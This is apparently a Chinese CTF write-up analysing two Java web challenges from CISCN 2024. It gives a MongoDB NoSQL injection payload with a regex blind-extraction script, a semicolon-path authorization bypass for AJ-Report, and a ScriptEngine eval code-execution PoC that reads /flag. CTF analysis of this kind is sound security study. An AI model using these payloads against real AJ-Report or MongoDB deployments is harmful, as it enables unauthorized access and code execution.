CISCN 2024华中赛区web两道java题目分析
Yu9 发表于 河南 CTF 1275浏览 · 2024-06-26 14:43

2024ciscn-华中

前言

比赛报名忘组队了,有点遗憾没能参加。赛后找朋友要到了比赛中两个java题目的源码,一块来分析一下看看。

ezjava

环境分析

先捋一下这道题的一个思路!首先访问/会映射出登录页面

登录是/login接口发起一个POST请求。

从源码可以看出来,在第一次访问/login接口时会初始化一个username为admin,password为随机32位字符的数据进入数据库,这块采用单例模式,确保数据仅初始化一次。

点击登录后,会拿我们传入的数据去数据库查询信息

  • 若查询不到,则返回username or password incorrect
  • 若查到信息后,提取出password字段与我们输入的进行比对
    • 若匹配失败返回password incorrect
    • 若匹配成功,則读取flag

漏洞分析

该项目使用的是mongodb数据库,并且存在明显的拼接点

nosql注入,我们拿一个联合注入的poc试一下

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

调试发现可以成功查询到信息,但由于和我们传入的password值不匹配所以返回信息password incorrect

poc

编写nosql布尔盲注的脚本跑出密码

import requests

url = "http://127.0.0.1:9999/login"
mylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
proxies = {}
for i in range(32):
    for j in mylist:
        data = {
            "username":"admin","password":"','password':{'$regex':'^"+password+j+".*'},'username':'admin"
        }
        #','password':{'$regex':'^x.*'},'username':'admin
        r = requests.post(url,data=data,proxies=proxies)
        if r.text.find("username or password incorrect")==-1:
            password+=j
            print(password)

输入admin和跑出来的密码就OK

aj-report

前段时间这个系统刚爆出过新漏洞,那会打算分析的,看到已经有师傅发过了,就大概看了一下也没自己走一遍了

那就借着这个赛题来分析一下吧!

权限绕过

filter绕过

这块使用的是getRequestURI()

(1)结合springmvc的特征:

  • 移除所有的分号
  • 移除分号后面直到下一个斜杠”/”之间的所有字符

构造如下进行绕过:

/;swagger-ui/xxx/xxx/

(2)uri截断绕过

/xxx/xxx/xxx;swagger-ui

jwt固定秘钥

漏洞分析

javax.script.ScriptEngine类是java自带的用于解析并执行js代码,eval()函数可以执行传递给它的任何JavaScript代码,包括命令执行。

反编译jar

去全局搜索eval(

发现两处,先挑一处分析

js会从传入dto中获取js脚本内容,没有进行过滤,直接执行。

现在就往上找,找調用点就行

poc

import requests

url = "http://8.147.132.114:26002/dataSetParam/verification"

payload = '''
function verification(data){
    return new java.util.Scanner(new java.io.File("/flag")).next();
}
'''
json={
    "sampleItem": "1",
    "validationRules": payload
}
res = requests.post(url, json=json)
print(res.text)

sink2

可以发现com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(List<DataSetParamDto>, Map<String,Object>)这块也调用到了

继续向上找com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

最终找到入口com.anjiplus.template.gaea.business.modules.dataset.controller.DataSetController#testTransform

sink3

就刚开始搜eval(时发现的第二处

最后也是走到/dataSet/testTransform下,就是构造的参数不同

0 条评论
某人
表情
可输入 255